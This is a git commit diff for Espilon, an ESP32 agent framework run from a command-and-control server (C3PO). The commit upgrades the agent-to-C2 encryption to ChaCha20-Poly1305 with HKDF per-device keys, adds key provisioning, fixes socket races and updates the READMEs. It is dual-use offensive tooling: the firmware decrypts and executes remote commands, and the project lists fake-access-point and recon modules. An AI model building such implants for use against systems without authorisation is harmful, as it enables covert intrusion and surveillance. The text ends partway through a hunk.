ε - ChaCha20-Poly1305 AEAD + HKDF crypto upgrade + C3PO rewrite + docs
Crypto: - Replace broken ChaCha20 (static nonce) with ChaCha20-Poly1305 AEAD - HKDF-SHA256 key derivation from per-device factory NVS master keys - Random 12-byte nonce per message (ESP32 hardware RNG) - crypto_init/encrypt/decrypt API with mbedtls legacy (ESP-IDF v5.3.2) - Custom partition table with factory NVS (fctry at 0x10000) Firmware: - crypto.c full rewrite, messages.c device_id prefix + AEAD encrypt - crypto_init() at boot with esp_restart() on failure - Fix command_t initializations across all modules (sub/help fields) - Clean CMakeLists dependencies for ESP-IDF v5.3.2 C3PO (C2): - Rename tools/c2 + tools/c3po -> tools/C3PO - Per-device CryptoContext with HKDF key derivation - KeyStore (keys.json) for master key management - Transport parses device_id:base64(...) wire format Tools: - New tools/provisioning/provision.py for factory NVS key generation - Updated flasher with mbedtls config for v5.3.2 Docs: - Update all READMEs for new crypto, C3PO paths, provisioning - Update roadmap, architecture diagrams, security sections - Update CONTRIBUTING.md project structure
This commit is contained in:
parent
3311626d58
commit
8b6c1cd53d
14
.gitignore
vendored
14
.gitignore
vendored
@ -30,18 +30,20 @@ ENV/
|
||||
.venv
|
||||
|
||||
# Tools - Python dependencies
|
||||
tools/c2/__pycache__/
|
||||
tools/c3po/__pycache__/
|
||||
tools/C3PO/__pycache__/
|
||||
tools/flasher/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Configuration files with secrets
|
||||
tools/flasher/devices.json
|
||||
tools/flasher/devices.*.json
|
||||
tools/c2/config.json
|
||||
tools/c3po/config.json
|
||||
tools/C3PO/config.json
|
||||
**/config.local.json
|
||||
|
||||
# C3PO runtime / secrets
|
||||
tools/C3PO/keys.json
|
||||
tools/C3PO/*.db
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
logs/
|
||||
@ -49,8 +51,8 @@ espilon_bot/logs/
|
||||
sdkconfig
|
||||
|
||||
# C2 Runtime files (camera streams, recordings)
|
||||
tools/c2/static/streams/*.jpg
|
||||
tools/c2/static/recordings/*.avi
|
||||
tools/C3PO/static/streams/*.jpg
|
||||
tools/C3PO/static/recordings/*.avi
|
||||
*.avi
|
||||
|
||||
# IDE and Editor
|
||||
|
||||
@ -415,7 +415,7 @@ idf.py monitor
|
||||
**For C2 changes**:
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
# Test with connected ESP32
|
||||
```
|
||||
|
||||
@ -596,8 +596,9 @@ epsilon/
|
||||
│ │ └── mod_recon/ # Recon module
|
||||
│ └── main/ # Main application
|
||||
├── tools/ # Supporting tools
|
||||
│ ├── c2/ # C2 server (Python)
|
||||
│ ├── C3PO/ # C2 server (Python)
|
||||
│ ├── flasher/ # Multi-flasher tool
|
||||
│ ├── provisioning/ # Device key provisioning
|
||||
│ └── nan/ # NanoPB tools
|
||||
├── docs/ # Documentation
|
||||
│ ├── INSTALL.md
|
||||
|
||||
49
README.fr.md
49
README.fr.md
@ -138,7 +138,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
@ -157,7 +157,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
||||
|
||||
### Composants Clés
|
||||
|
||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||
@ -259,8 +259,6 @@ python3 flash.py --config devices.json
|
||||
"module_fakeap": false,
|
||||
"recon_camera": false,
|
||||
"recon_ble_trilat": false,
|
||||
"crypto_key": "testde32chars00000000000000000000",
|
||||
"crypto_nonce": "noncenonceno"
|
||||
},
|
||||
|
||||
## GPRS AGENT ##
|
||||
@ -282,22 +280,30 @@ python3 flash.py --config devices.json
|
||||
|
||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||
|
||||
### Provisioning des Devices
|
||||
|
||||
Chaque device nécessite une master key unique flashée dans sa partition factory NVS :
|
||||
|
||||
```bash
|
||||
cd tools/provisioning
|
||||
python3 provision.py --device-id mon-device --port /dev/ttyUSB0
|
||||
```
|
||||
|
||||
Génère une clé aléatoire de 32 bytes, l'écrit en factory NVS, et la sauvegarde dans le keystore C2 (`keys.json`).
|
||||
|
||||
Voir [tools/provisioning/](tools/provisioning/) pour les détails.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
**Commandes** :
|
||||
|
||||
- `list` : Lister les agents connectés
|
||||
- `select <id>` : Sélectionner un agent
|
||||
- `cmd <command>` : Exécuter une commande
|
||||
- `group` : Gérer les groupes d'agents
|
||||
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
@ -305,17 +311,13 @@ python3 c3po.py --port 2626
|
||||
|
||||
### Chiffrement
|
||||
|
||||
- **ChaCha20** pour les communications C2
|
||||
- **Clés configurables** via menuconfig
|
||||
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
|
||||
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
|
||||
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
|
||||
- **Master keys per-device** stockées en partition factory NVS (read-only)
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
|
||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||
|
||||
```bash
|
||||
# Générer des clés aléatoires
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
Provisionner chaque device avec une master key unique via `tools/provisioning/provision.py`. Les clés ne sont jamais hardcodées dans le firmware.
|
||||
|
||||
### Usage Responsable
|
||||
|
||||
@ -356,9 +358,10 @@ Espilon doit être utilisé uniquement pour :
|
||||
|
||||
### V2.0 (En cours)
|
||||
|
||||
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
|
||||
- [x] Provisioning per-device factory NVS
|
||||
- [x] Réécriture C3PO avec crypto per-device
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Implémenter Module reccoon dans C3PO
|
||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
||||
- [ ] OTA updates
|
||||
- [ ] Multilatération collaborative
|
||||
- [ ] Optimisation mémoire
|
||||
|
||||
46
README.md
46
README.md
@ -138,7 +138,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
||||
| ESP32 Agent |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
||||
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | | | |
|
||||
| +-----------------------------------------------------+|
|
||||
@ -157,7 +157,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
||||
|
||||
### Key Components
|
||||
|
||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
||||
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
|
||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||
- **Flasher**: Automated multi-device flashing tool
|
||||
@ -257,22 +257,30 @@ python3 flash.py --config devices.json
|
||||
|
||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||
|
||||
### Device Provisioning
|
||||
|
||||
Each device needs a unique master key flashed into its factory NVS partition before first use:
|
||||
|
||||
```bash
|
||||
cd tools/provisioning
|
||||
python3 provision.py --device-id my-device --port /dev/ttyUSB0
|
||||
```
|
||||
|
||||
This generates a 32-byte random master key, writes it to the factory NVS partition, and saves it to the C2 keystore (`keys.json`).
|
||||
|
||||
See [tools/provisioning/](tools/provisioning/) for details.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Command & Control server:
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
**Commands**:
|
||||
|
||||
- `list`: List connected agents
|
||||
- `select <id>`: Select an agent
|
||||
- `cmd <command>`: Execute a command
|
||||
- `group`: Manage agent groups
|
||||
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
@ -280,17 +288,13 @@ python3 c3po.py --port 2626
|
||||
|
||||
### Encryption
|
||||
|
||||
- **ChaCha20** for C2 communications
|
||||
- **Configurable keys** via menuconfig
|
||||
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
|
||||
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
|
||||
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
|
||||
- **Per-device master keys** stored in factory NVS partition (read-only)
|
||||
- **Protocol Buffers (nanoPB)** for serialization
|
||||
|
||||
**CHANGE DEFAULT KEYS** for production use:
|
||||
|
||||
```bash
|
||||
# Generate random keys
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
Provision each device with a unique master key using `tools/provisioning/provision.py`. Keys are never hardcoded in firmware.
|
||||
|
||||
### Responsible Use
|
||||
|
||||
@ -331,8 +335,10 @@ Espilon should only be used for:
|
||||
|
||||
### V2.0 (In Progress)
|
||||
|
||||
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
|
||||
- [x] Per-device factory NVS key provisioning
|
||||
- [x] C3PO C2 rewrite with per-device crypto
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Improve documentation
|
||||
- [ ] OTA updates
|
||||
- [ ] Collaborative multilateration
|
||||
- [ ] Memory optimization
|
||||
|
||||
@ -28,6 +28,8 @@ typedef esp_err_t (*command_handler_t)(
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
const char *name; /* command name */
|
||||
const char *sub; /* subcommand name (optional) */
|
||||
const char *help; /* help text (optional) */
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler; /* handler */
|
||||
|
||||
@ -30,6 +30,13 @@ static void async_worker(void *arg)
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||
* xQueueReceive copies the struct by value, so the old
|
||||
* pointers (set at enqueue time) are now dangling. */
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
set(PRIV_REQUIRES_LIST
|
||||
set(PRIV_REQUIRES_LIST
|
||||
mbedtls
|
||||
lwip
|
||||
mod_network
|
||||
nvs_flash
|
||||
lwip
|
||||
mod_network
|
||||
mod_fakeAP
|
||||
mod_recon
|
||||
esp_timer
|
||||
esp_driver_uart
|
||||
driver
|
||||
command
|
||||
)
|
||||
|
||||
@ -16,9 +16,11 @@
|
||||
#include "c2.pb.h"
|
||||
#include "pb_decode.h"
|
||||
|
||||
#include "freertos/semphr.h"
|
||||
#include "utils.h"
|
||||
|
||||
int sock = -1;
|
||||
SemaphoreHandle_t sock_mutex = NULL;
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
static const char *TAG = "CORE_WIFI";
|
||||
@ -63,8 +65,8 @@ static bool tcp_connect(void)
|
||||
{
|
||||
struct sockaddr_in server_addr = {0};
|
||||
|
||||
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket() failed");
|
||||
return false;
|
||||
}
|
||||
@ -73,15 +75,18 @@ static bool tcp_connect(void)
|
||||
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(sock,
|
||||
if (lwip_connect(new_sock,
|
||||
(struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
ESP_LOGE(TAG, "connect() failed");
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
lwip_close(new_sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "Connected to %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
@ -94,10 +99,13 @@ static bool tcp_connect(void)
|
||||
* ========================================================= */
|
||||
static void handle_frame(const uint8_t *buf, size_t len)
|
||||
{
|
||||
char tmp[len + 1];
|
||||
memcpy(tmp, buf, len);
|
||||
tmp[len] = '\0';
|
||||
c2_decode_and_exec(tmp);
|
||||
if (len == 0 || len >= RX_BUF_SIZE) {
|
||||
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
|
||||
return;
|
||||
}
|
||||
/* buf is already null-terminated by strtok in tcp_rx_loop,
|
||||
and c2_decode_and_exec makes its own 1024-byte copy. */
|
||||
c2_decode_and_exec((const char *)buf);
|
||||
}
|
||||
|
||||
|
||||
@ -108,11 +116,19 @@ static void tcp_rx_loop(void)
|
||||
{
|
||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||
|
||||
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) return;
|
||||
|
||||
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGW(TAG, "RX failed / disconnected");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return;
|
||||
}
|
||||
|
||||
@ -131,6 +147,9 @@ static void tcp_rx_loop(void)
|
||||
* ========================================================= */
|
||||
void tcp_client_task(void *pvParameters)
|
||||
{
|
||||
if (!sock_mutex)
|
||||
sock_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
while (1) {
|
||||
|
||||
if (!tcp_connect()) {
|
||||
|
||||
@ -17,7 +17,7 @@ bool com_init(void)
|
||||
xTaskCreatePinnedToCore(
|
||||
tcp_client_task,
|
||||
"tcp_client_task",
|
||||
8192,
|
||||
12288,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
|
||||
@ -1,12 +1,18 @@
|
||||
// crypto.c
|
||||
// crypto.c – ChaCha20-Poly1305 AEAD with HKDF key derivation
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "mbedtls/chacha20.h"
|
||||
#include "mbedtls/chachapoly.h"
|
||||
#include "mbedtls/hkdf.h"
|
||||
#include "mbedtls/md.h"
|
||||
#include "mbedtls/base64.h"
|
||||
#include "mbedtls/platform_util.h"
|
||||
|
||||
#include "pb_decode.h"
|
||||
#include "c2.pb.h"
|
||||
@ -16,53 +22,186 @@
|
||||
|
||||
static const char *TAG = "CRYPTO";
|
||||
|
||||
/* ============================================================
|
||||
* Compile-time security checks
|
||||
* ============================================================ */
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32,
|
||||
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12,
|
||||
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes");
|
||||
#define NONCE_LEN 12
|
||||
#define TAG_LEN 16
|
||||
#define KEY_LEN 32
|
||||
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
|
||||
|
||||
static uint8_t derived_key[KEY_LEN];
|
||||
static bool crypto_ready = false;
|
||||
|
||||
/* ============================================================
|
||||
* ChaCha20 encrypt/decrypt (same function)
|
||||
* crypto_init – read master key from factory NVS, derive via HKDF
|
||||
* ============================================================ */
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len)
|
||||
bool crypto_init(void)
|
||||
{
|
||||
if (!data || data_len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid input to chacha_cd");
|
||||
return NULL;
|
||||
esp_err_t err;
|
||||
|
||||
/* 1) Init the factory NVS partition */
|
||||
err = nvs_flash_init_partition("fctry");
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
|
||||
esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
unsigned char *out = (unsigned char *)malloc(data_len);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in chacha_cd");
|
||||
return NULL;
|
||||
/* 2) Open the crypto namespace (read-only) */
|
||||
nvs_handle_t handle;
|
||||
err = nvs_open_from_partition(
|
||||
"fctry",
|
||||
CONFIG_CRYPTO_FCTRY_NS,
|
||||
NVS_READONLY,
|
||||
&handle
|
||||
);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
|
||||
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
unsigned char key[32];
|
||||
unsigned char nonce[12];
|
||||
uint32_t counter = 0;
|
||||
/* 3) Read the 32-byte master key blob */
|
||||
uint8_t master_key[KEY_LEN];
|
||||
size_t mk_len = sizeof(master_key);
|
||||
|
||||
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key));
|
||||
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce));
|
||||
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
|
||||
nvs_close(handle);
|
||||
|
||||
int ret = mbedtls_chacha20_crypt(
|
||||
key,
|
||||
if (err != ESP_OK || mk_len != KEY_LEN) {
|
||||
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
|
||||
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
|
||||
(unsigned)mk_len);
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) HKDF-SHA256: derive the encryption key */
|
||||
const char *info = "espilon-c2-v1";
|
||||
const char *salt = CONFIG_DEVICE_ID;
|
||||
|
||||
int ret = mbedtls_hkdf(
|
||||
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
|
||||
(const uint8_t *)salt, strlen(salt),
|
||||
master_key, KEY_LEN,
|
||||
(const uint8_t *)info, strlen(info),
|
||||
derived_key, KEY_LEN
|
||||
);
|
||||
|
||||
/* Wipe master key from RAM immediately */
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
crypto_ready = true;
|
||||
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_encrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
* ============================================================ */
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!plain || plain_len == 0 || !out) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t needed = plain_len + OVERHEAD;
|
||||
if (out_cap < needed) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
|
||||
(unsigned)out_cap, (unsigned)needed);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Random nonce in the first 12 bytes */
|
||||
esp_fill_random(out, NONCE_LEN);
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_encrypt_and_tag(
|
||||
&ctx,
|
||||
plain_len,
|
||||
out, /* nonce */
|
||||
NULL, 0, /* no AAD */
|
||||
plain, /* input */
|
||||
out + NONCE_LEN, /* output (ciphertext) */
|
||||
out + NONCE_LEN + plain_len /* tag */
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return (int)needed;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_decrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Input layout: nonce[12] || ciphertext[N] || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
* ============================================================ */
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!in || in_len < OVERHEAD || !out) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
|
||||
(unsigned)in_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t ct_len = in_len - OVERHEAD;
|
||||
if (out_cap < ct_len) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const uint8_t *nonce = in;
|
||||
const uint8_t *ct = in + NONCE_LEN;
|
||||
const uint8_t *tag = in + NONCE_LEN + ct_len;
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_auth_decrypt(
|
||||
&ctx,
|
||||
ct_len,
|
||||
nonce,
|
||||
counter,
|
||||
data_len,
|
||||
data,
|
||||
NULL, 0, /* no AAD */
|
||||
tag,
|
||||
ct,
|
||||
out
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return out; /* binary-safe */
|
||||
return (int)ct_len;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
@ -134,7 +273,6 @@ char *base64_decode(const char *input, size_t *output_len)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Optional null terminator for debug */
|
||||
out[*output_len] = '\0';
|
||||
return (char *)out;
|
||||
}
|
||||
@ -155,11 +293,10 @@ bool c2_decode_and_exec(const char *frame)
|
||||
memcpy(tmp, frame, n);
|
||||
tmp[n] = '\0';
|
||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||
tmp[n - 1] = '\0';
|
||||
n--;
|
||||
tmp[--n] = '\0';
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "C2 RX b64: %s", tmp);
|
||||
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
|
||||
|
||||
/* 1) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
@ -170,27 +307,28 @@ bool c2_decode_and_exec(const char *frame)
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) ChaCha decrypt */
|
||||
unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len);
|
||||
/* 2) Decrypt + authenticate (AEAD) */
|
||||
uint8_t plain[1024];
|
||||
int plain_len = crypto_decrypt(
|
||||
(const uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain)
|
||||
);
|
||||
free(decoded);
|
||||
|
||||
if (!plain) {
|
||||
ESP_LOGE(TAG, "ChaCha decrypt failed");
|
||||
if (plain_len < 0) {
|
||||
ESP_LOGE(TAG, "Decrypt/auth failed – tampered or wrong key");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Protobuf decode -> c2_Command */
|
||||
c2_Command cmd = c2_Command_init_zero;
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len);
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
|
||||
|
||||
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
||||
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
||||
free(plain);
|
||||
return false;
|
||||
}
|
||||
|
||||
free(plain);
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
|
||||
@ -8,12 +8,14 @@
|
||||
#include "pb_encode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */
|
||||
#include "freertos/semphr.h"
|
||||
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
|
||||
|
||||
#define TAG "AGENT_MSG"
|
||||
#define MAX_PROTOBUF_SIZE 512
|
||||
|
||||
extern int sock;
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
|
||||
/* ============================================================
|
||||
* TCP helpers
|
||||
@ -22,12 +24,19 @@ extern int sock;
|
||||
static bool tcp_send_all(const void *buf, size_t len)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
extern int sock;
|
||||
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = lwip_write(sock, p, len);
|
||||
int sent = lwip_write(current_sock, p, len);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGE(TAG, "lwip_write failed");
|
||||
return false;
|
||||
@ -54,8 +63,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = tcp_send_all(b64, strlen(b64)) &&
|
||||
tcp_send_all("\n", 1);
|
||||
/* Prepend "device_id:" so the C2 can identify which key to use */
|
||||
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
|
||||
&& tcp_send_all(":", 1)
|
||||
&& tcp_send_all(b64, strlen(b64))
|
||||
&& tcp_send_all("\n", 1);
|
||||
|
||||
free(b64);
|
||||
return ok;
|
||||
@ -67,10 +79,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
|
||||
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
{
|
||||
uint8_t buffer[MAX_PROTOBUF_SIZE];
|
||||
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
|
||||
|
||||
pb_ostream_t stream =
|
||||
pb_ostream_from_buffer(buffer, sizeof(buffer));
|
||||
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
|
||||
|
||||
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
||||
ESP_LOGE(TAG, "pb_encode failed: %s",
|
||||
@ -80,16 +92,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
|
